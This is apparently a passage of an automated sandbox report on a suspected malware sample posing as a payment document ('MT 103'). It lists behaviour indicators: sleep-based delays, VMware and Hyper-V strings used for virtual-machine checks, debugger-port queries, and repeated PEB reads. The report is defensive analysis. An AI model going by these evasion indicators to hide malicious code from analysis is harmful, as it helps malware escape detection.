          Source: C:\Windows\explorer.exe TID: 6776Thread sleep count: 9115 > 30Jump to behavior
          Source: C:\Windows\explorer.exe TID: 6776Thread sleep time: -18230000s >= -30000sJump to behavior
          Source: C:\Windows\SysWOW64\colorcpl.exe TID: 7056Thread sleep count: 287 > 30Jump to behavior
          Source: C:\Windows\SysWOW64\colorcpl.exe TID: 7056Thread sleep time: -574000s >= -30000sJump to behavior
          Source: C:\Windows\SysWOW64\colorcpl.exe TID: 7056Thread sleep count: 9684 > 30Jump to behavior
          Source: C:\Windows\SysWOW64\colorcpl.exe TID: 7056Thread sleep time: -19368000s >= -30000sJump to behavior
          Source: C:\Windows\SysWOW64\colorcpl.exeLast function: Thread delayed
          Source: C:\Windows\SysWOW64\colorcpl.exeLast function: Thread delayed
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeThread delayed: delay time: 922337203685477Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
          Source: explorer.exe, 00000006.00000002.4528531386.00000000076F8000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}99105f770555d7dd
          Source: explorer.exe, 00000006.00000000.2087085209.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.4535238985.0000000009AF9000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW0r
          Source: explorer.exe, 00000006.00000003.3094406627.0000000009B9A000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
          Source: explorer.exe, 00000006.00000003.3094406627.0000000009B9A000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: NXTcaVMWare
          Source: explorer.exe, 00000006.00000000.2087085209.0000000009B41000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000%
          Source: explorer.exe, 00000006.00000003.3094406627.0000000009B9A000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
          Source: explorer.exe, 00000006.00000000.2083176796.0000000003530000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware, Inc.
          Source: explorer.exe, 00000006.00000003.3094406627.0000000009B9A000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware SATA CD00
          Source: explorer.exe, 00000006.00000000.2083176796.0000000003530000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware-42 27 d9 2e dc 89 72 dX
          Source: explorer.exe, 00000006.00000000.2081212306.0000000000F13000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000A
          Source: explorer.exe, 00000006.00000002.4528531386.00000000076F8000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}^
          Source: explorer.exe, 00000006.00000002.4535238985.0000000009B2C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000000.2087085209.0000000009B2C000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
          Source: explorer.exe, 00000006.00000000.2083176796.0000000003530000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware, Inc.NoneVMware-42 27 d9 2e dc 89 72 dX
          Source: explorer.exe, 00000006.00000000.2083176796.0000000003530000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware,p
          Source: explorer.exe, 00000006.00000003.3094406627.0000000009B9A000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000_
          Source: explorer.exe, 00000006.00000003.3094406627.0000000009B9A000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}0#{5-
          Source: explorer.exe, 00000006.00000000.2081212306.0000000000F13000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
          Source: explorer.exe, 00000006.00000000.2087085209.0000000009B41000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
          Source: explorer.exe, 00000006.00000002.4528531386.000000000769A000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess information queried: ProcessInformationJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeProcess queried: DebugPortJump to behavior
          Source: C:\Windows\SysWOW64\colorcpl.exeProcess queried: DebugPortJump to behavior
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_00409AB0 rdtsc 4_2_00409AB0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0040ACF0 LdrLoadDll,4_2_0040ACF0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012B0124 mov eax, dword ptr fs:[00000030h]4_2_012B0124
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01340115 mov eax, dword ptr fs:[00000030h]4_2_01340115
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0132A118 mov ecx, dword ptr fs:[00000030h]4_2_0132A118
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0132A118 mov eax, dword ptr fs:[00000030h]4_2_0132A118
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0132A118 mov eax, dword ptr fs:[00000030h]4_2_0132A118
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0132A118 mov eax, dword ptr fs:[00000030h]4_2_0132A118
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0132E10E mov eax, dword ptr fs:[00000030h]4_2_0132E10E
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0132E10E mov ecx, dword ptr fs:[00000030h]4_2_0132E10E
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0132E10E mov eax, dword ptr fs:[00000030h]4_2_0132E10E
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0132E10E mov eax, dword ptr fs:[00000030h]4_2_0132E10E
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0132E10E mov ecx, dword ptr fs:[00000030h]4_2_0132E10E
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0132E10E mov eax, dword ptr fs:[00000030h]4_2_0132E10E
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0132E10E mov eax, dword ptr fs:[00000030h]4_2_0132E10E
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0132E10E mov ecx, dword ptr fs:[00000030h]4_2_0132E10E
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0132E10E mov eax, dword ptr fs:[00000030h]4_2_0132E10E
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0132E10E mov ecx, dword ptr fs:[00000030h]4_2_0132E10E
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01354164 mov eax, dword ptr fs:[00000030h]4_2_01354164
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01354164 mov eax, dword ptr fs:[00000030h]4_2_01354164
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01318158 mov eax, dword ptr fs:[00000030h]4_2_01318158
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0127C156 mov eax, dword ptr fs:[00000030h]4_2_0127C156
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01314144 mov eax, dword ptr fs:[00000030h]4_2_01314144
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01314144 mov eax, dword ptr fs:[00000030h]4_2_01314144
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01314144 mov ecx, dword ptr fs:[00000030h]4_2_01314144
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01314144 mov eax, dword ptr fs:[00000030h]4_2_01314144
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01314144 mov eax, dword ptr fs:[00000030h]4_2_01314144
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01286154 mov eax, dword ptr fs:[00000030h]4_2_01286154
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01286154 mov eax, dword ptr fs:[00000030h]4_2_01286154
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012C0185 mov eax, dword ptr fs:[00000030h]4_2_012C0185
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0130019F mov eax, dword ptr fs:[00000030h]4_2_0130019F
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0130019F mov eax, dword ptr fs:[00000030h]4_2_0130019F
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0130019F mov eax, dword ptr fs:[00000030h]4_2_0130019F
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0130019F mov eax, dword ptr fs:[00000030h]4_2_0130019F
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0127A197 mov eax, dword ptr fs:[00000030h]4_2_0127A197
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0127A197 mov eax, dword ptr fs:[00000030h]4_2_0127A197
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0127A197 mov eax, dword ptr fs:[00000030h]4_2_0127A197
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01324180 mov eax, dword ptr fs:[00000030h]4_2_01324180
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01324180 mov eax, dword ptr fs:[00000030h]4_2_01324180
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0133C188 mov eax, dword ptr fs:[00000030h]4_2_0133C188
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0133C188 mov eax, dword ptr fs:[00000030h]4_2_0133C188
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_013561E5 mov eax, dword ptr fs:[00000030h]4_2_013561E5
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012B01F8 mov eax, dword ptr fs:[00000030h]4_2_012B01F8
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_013461C3 mov eax, dword ptr fs:[00000030h]4_2_013461C3
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_013461C3 mov eax, dword ptr fs:[00000030h]4_2_013461C3
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012FE1D0 mov eax, dword ptr fs:[00000030h]4_2_012FE1D0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012FE1D0 mov eax, dword ptr fs:[00000030h]4_2_012FE1D0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012FE1D0 mov ecx, dword ptr fs:[00000030h]4_2_012FE1D0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012FE1D0 mov eax, dword ptr fs:[00000030h]4_2_012FE1D0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012FE1D0 mov eax, dword ptr fs:[00000030h]4_2_012FE1D0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01316030 mov eax, dword ptr fs:[00000030h]4_2_01316030
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0127A020 mov eax, dword ptr fs:[00000030h]4_2_0127A020
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0127C020 mov eax, dword ptr fs:[00000030h]4_2_0127C020
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01304000 mov ecx, dword ptr fs:[00000030h]4_2_01304000
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01322000 mov eax, dword ptr fs:[00000030h]4_2_01322000
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01322000 mov eax, dword ptr fs:[00000030h]4_2_01322000
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01322000 mov eax, dword ptr fs:[00000030h]4_2_01322000
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01322000 mov eax, dword ptr fs:[00000030h]4_2_01322000
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01322000 mov eax, dword ptr fs:[00000030h]4_2_01322000
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01322000 mov eax, dword ptr fs:[00000030h]4_2_01322000
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01322000 mov eax, dword ptr fs:[00000030h]4_2_01322000
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01322000 mov eax, dword ptr fs:[00000030h]4_2_01322000
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0129E016 mov eax, dword ptr fs:[00000030h]4_2_0129E016
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0129E016 mov eax, dword ptr fs:[00000030h]4_2_0129E016
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0129E016 mov eax, dword ptr fs:[00000030h]4_2_0129E016
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0129E016 mov eax, dword ptr fs:[00000030h]4_2_0129E016
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012AC073 mov eax, dword ptr fs:[00000030h]4_2_012AC073
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01306050 mov eax, dword ptr fs:[00000030h]4_2_01306050
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01282050 mov eax, dword ptr fs:[00000030h]4_2_01282050
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012780A0 mov eax, dword ptr fs:[00000030h]4_2_012780A0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_013460B8 mov eax, dword ptr fs:[00000030h]4_2_013460B8
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_013460B8 mov ecx, dword ptr fs:[00000030h]4_2_013460B8
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_013180A8 mov eax, dword ptr fs:[00000030h]4_2_013180A8
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0128208A mov eax, dword ptr fs:[00000030h]4_2_0128208A
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012880E9 mov eax, dword ptr fs:[00000030h]4_2_012880E9
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0127A0E3 mov ecx, dword ptr fs:[00000030h]4_2_0127A0E3
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_013060E0 mov eax, dword ptr fs:[00000030h]4_2_013060E0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0127C0F0 mov eax, dword ptr fs:[00000030h]4_2_0127C0F0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012C20F0 mov ecx, dword ptr fs:[00000030h]4_2_012C20F0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_013020DE mov eax, dword ptr fs:[00000030h]4_2_013020DE
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01358324 mov eax, dword ptr fs:[00000030h]4_2_01358324
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01358324 mov ecx, dword ptr fs:[00000030h]4_2_01358324
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01358324 mov eax, dword ptr fs:[00000030h]4_2_01358324
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01358324 mov eax, dword ptr fs:[00000030h]4_2_01358324
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012BA30B mov eax, dword ptr fs:[00000030h]4_2_012BA30B
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012BA30B mov eax, dword ptr fs:[00000030h]4_2_012BA30B
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012BA30B mov eax, dword ptr fs:[00000030h]4_2_012BA30B
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0127C310 mov ecx, dword ptr fs:[00000030h]4_2_0127C310
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012A0310 mov ecx, dword ptr fs:[00000030h]4_2_012A0310
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0132437C mov eax, dword ptr fs:[00000030h]4_2_0132437C
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01328350 mov ecx, dword ptr fs:[00000030h]4_2_01328350
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0134A352 mov eax, dword ptr fs:[00000030h]4_2_0134A352
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0130035C mov eax, dword ptr fs:[00000030h]4_2_0130035C
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0130035C mov eax, dword ptr fs:[00000030h]4_2_0130035C
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0130035C mov eax, dword ptr fs:[00000030h]4_2_0130035C
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0130035C mov ecx, dword ptr fs:[00000030h]4_2_0130035C
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0130035C mov eax, dword ptr fs:[00000030h]4_2_0130035C
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0130035C mov eax, dword ptr fs:[00000030h]4_2_0130035C
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01302349 mov eax, dword ptr fs:[00000030h]4_2_01302349
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01302349 mov eax, dword ptr fs:[00000030h]4_2_01302349
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01302349 mov eax, dword ptr fs:[00000030h]4_2_01302349
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01302349 mov eax, dword ptr fs:[00000030h]4_2_01302349
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01302349 mov eax, dword ptr fs:[00000030h]4_2_01302349
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01302349 mov eax, dword ptr fs:[00000030h]4_2_01302349
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01302349 mov eax, dword ptr fs:[00000030h]4_2_01302349
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01302349 mov eax, dword ptr fs:[00000030h]4_2_01302349
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01302349 mov eax, dword ptr fs:[00000030h]4_2_01302349
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01302349 mov eax, dword ptr fs:[00000030h]4_2_01302349
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01302349 mov eax, dword ptr fs:[00000030h]4_2_01302349
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01302349 mov eax, dword ptr fs:[00000030h]4_2_01302349
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01302349 mov eax, dword ptr fs:[00000030h]4_2_01302349
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01302349 mov eax, dword ptr fs:[00000030h]4_2_01302349
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01302349 mov eax, dword ptr fs:[00000030h]4_2_01302349
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0135634F mov eax, dword ptr fs:[00000030h]4_2_0135634F
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012A438F mov eax, dword ptr fs:[00000030h]4_2_012A438F
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012A438F mov eax, dword ptr fs:[00000030h]4_2_012A438F
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0127E388 mov eax, dword ptr fs:[00000030h]4_2_0127E388
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0127E388 mov eax, dword ptr fs:[00000030h]4_2_0127E388
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0127E388 mov eax, dword ptr fs:[00000030h]4_2_0127E388
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01278397 mov eax, dword ptr fs:[00000030h]4_2_01278397
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01278397 mov eax, dword ptr fs:[00000030h]4_2_01278397
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01278397 mov eax, dword ptr fs:[00000030h]4_2_01278397
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012903E9 mov eax, dword ptr fs:[00000030h]4_2_012903E9
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012903E9 mov eax, dword ptr fs:[00000030h]4_2_012903E9
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012903E9 mov eax, dword ptr fs:[00000030h]4_2_012903E9
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012903E9 mov eax, dword ptr fs:[00000030h]4_2_012903E9
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012903E9 mov eax, dword ptr fs:[00000030h]4_2_012903E9
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012903E9 mov eax, dword ptr fs:[00000030h]4_2_012903E9
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012903E9 mov eax, dword ptr fs:[00000030h]4_2_012903E9
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012903E9 mov eax, dword ptr fs:[00000030h]4_2_012903E9
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012B63FF mov eax, dword ptr fs:[00000030h]4_2_012B63FF
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0129E3F0 mov eax, dword ptr fs:[00000030h]4_2_0129E3F0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0129E3F0 mov eax, dword ptr fs:[00000030h]4_2_0129E3F0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0129E3F0 mov eax, dword ptr fs:[00000030h]4_2_0129E3F0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_013243D4 mov eax, dword ptr fs:[00000030h]4_2_013243D4
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_013243D4 mov eax, dword ptr fs:[00000030h]4_2_013243D4
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0128A3C0 mov eax, dword ptr fs:[00000030h]4_2_0128A3C0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0128A3C0 mov eax, dword ptr fs:[00000030h]4_2_0128A3C0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0128A3C0 mov eax, dword ptr fs:[00000030h]4_2_0128A3C0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0128A3C0 mov eax, dword ptr fs:[00000030h]4_2_0128A3C0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0128A3C0 mov eax, dword ptr fs:[00000030h]4_2_0128A3C0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0128A3C0 mov eax, dword ptr fs:[00000030h]4_2_0128A3C0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012883C0 mov eax, dword ptr fs:[00000030h]4_2_012883C0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012883C0 mov eax, dword ptr fs:[00000030h]4_2_012883C0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012883C0 mov eax, dword ptr fs:[00000030h]4_2_012883C0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012883C0 mov eax, dword ptr fs:[00000030h]4_2_012883C0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0132E3DB mov eax, dword ptr fs:[00000030h]4_2_0132E3DB
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0132E3DB mov eax, dword ptr fs:[00000030h]4_2_0132E3DB
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0132E3DB mov ecx, dword ptr fs:[00000030h]4_2_0132E3DB
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0132E3DB mov eax, dword ptr fs:[00000030h]4_2_0132E3DB
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_013063C0 mov eax, dword ptr fs:[00000030h]4_2_013063C0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0133C3CD mov eax, dword ptr fs:[00000030h]4_2_0133C3CD
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0127823B mov eax, dword ptr fs:[00000030h]4_2_0127823B
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01330274 mov eax, dword ptr fs:[00000030h]4_2_01330274
